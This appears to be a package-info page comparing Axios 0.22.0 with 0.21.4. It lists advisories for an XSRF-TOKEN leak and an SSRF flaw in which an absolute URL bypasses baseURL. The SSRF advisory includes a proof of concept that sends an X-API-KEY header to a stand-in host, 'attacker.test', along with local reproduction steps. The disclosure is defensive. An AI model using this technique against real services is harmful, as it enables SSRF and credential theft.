Axios 0.22.0 introduces subtle but potentially impactful changes compared to its predecessor, version 0.21.4. Both versions maintain Axios' core promise-based HTTP client functionality for browsers and Node.js, a key feature for developers needing to perform asynchronous requests. The most apparent difference lies in the dependencies field. Version 0.22.0 updates the follow-redirects dependency to ^1.14.4, while version 0.21.4 relies on ^1.14.0. This update in a core dependency suggests potential improvements or bug fixes related to how Axios handles HTTP redirects, crucial for robustly interacting with APIs.
While the devDependencies remain largely consistent between the two versions – indicating a stable development and testing environment with tools like Grunt, Karma, and Webpack – the change in follow-redirects could affect how developers experience redirect handling in their applications. Additionally, the dist object reveals that version 0.22.0 has a slightly larger unpacked size (385333 bytes) and contains 46 files, compared to 0.21.4's 375349 bytes and 44 files. This points to potential code enhancements, new features, or expanded test coverage within the newer version. Developers should consider these factors to ensure smooth integration and optimal performance when updating Axios in their projects, examining changelogs for precise details.
All the vulnerabilities related to the version 0.22.0 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.